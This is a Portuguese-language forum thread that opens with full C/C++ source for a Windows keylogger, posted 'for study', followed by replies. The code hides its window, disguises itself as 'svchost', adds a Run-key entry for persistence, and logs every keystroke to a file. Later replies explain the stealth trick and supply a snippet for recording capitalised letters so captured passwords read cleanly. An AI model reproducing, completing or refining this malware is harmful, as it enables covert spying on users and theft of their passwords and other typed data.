Segue abaixo um código fonte de um Keylogger em C++ para estudos.
#include
#include
#include
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);
}
int t=get_keys();
return t;
}
int get_keys(void)
{
short character;
while(1)
{
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
Blz cara, mas aki ele roda em Stealth ?
Não fui eu quem codei, é um código pra aprendizado, e não creio que ele rode em Stealth.
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
Isso faz ele ficar stealth
beleza
isso e outro codigo que parece mais C do que C++
talvez seria bom fazer uma materia explicando a diferença entre o C e o C++ para a turma
rog
Vou compilar aki .. e ve no q dá ...
Qnto a sugestão a cima foi muito boa ... na minha facul tive aula de Pascal (tosco), C e C++ q é bom .. nada ... e sou louco para aprender um pouco de C++ ...
Tenho um script parecido com este, o qual eu tenho feito modificações constantemente...
Porém ele grava as keys como elas aparecem. ???
Ex:
[SHIFT]mypasss[BACKSPACE]123
Invés de Mypass123
Alguém sabe um bom método para fazer isso ( sem ter que abrir o ficheiro de log, modificar e gravar ) ?
Atenciosamente,
nao ta faltando nada depois dos include?
Citação de: Korndog online 17 de Novembro , 2008, 02:06:15 PM
Tenho um script parecido com este, o qual eu tenho feito modificações constantemente...
Porém ele grava as keys como elas aparecem. ???
Ex:
[SHIFT]mypasss[BACKSPACE]123
Invés de Mypass123
Alguém sabe um bom método para fazer isso ( sem ter que abrir o ficheiro de log, modificar e gravar ) ?
Atenciosamente,
é só você verificar se o capslock e o shift estão precionados e botar a letra maiúscula quando necessário..
segue um código que eu fiz a um bom tempo atrás.
if (tecla >= VK_A && tecla <= VK_Z){
if (GetKeyState(VK_CAPITAL)){ //verifica se o capslock está ligado
if (GetAsyncKeyState(VK_SHIFT) == -32768) //verifica se o shift não está precionado
tecla = tecla + 32; //transforma a letra em maiúscula
sprintf(mbuff,"%c",tecla);
}else{
if(!(GetAsyncKeyState(VK_SHIFT) == -32768)) //verifica se o shift está precionado
tecla = tecla + 32; //transforma a letra em maiuscula
sprintf(mbuff,"%c",tecla);
}
}
Pow, Keyloggers são complicados justamente por isso.
Quero dizer, nesse codigo ae, se o cara digitar [ctrl] + [alt] + [del] vai ser logado a mesma coisa que se ele digitar [ctrl] depois [alt] depois [del].
Mas isso é só um exemplo... Quero dizer que não tem nada que indica que as teclas foram pressionadas simultaneamente ou não.
Mas eh um bom código pra estudos, anyway.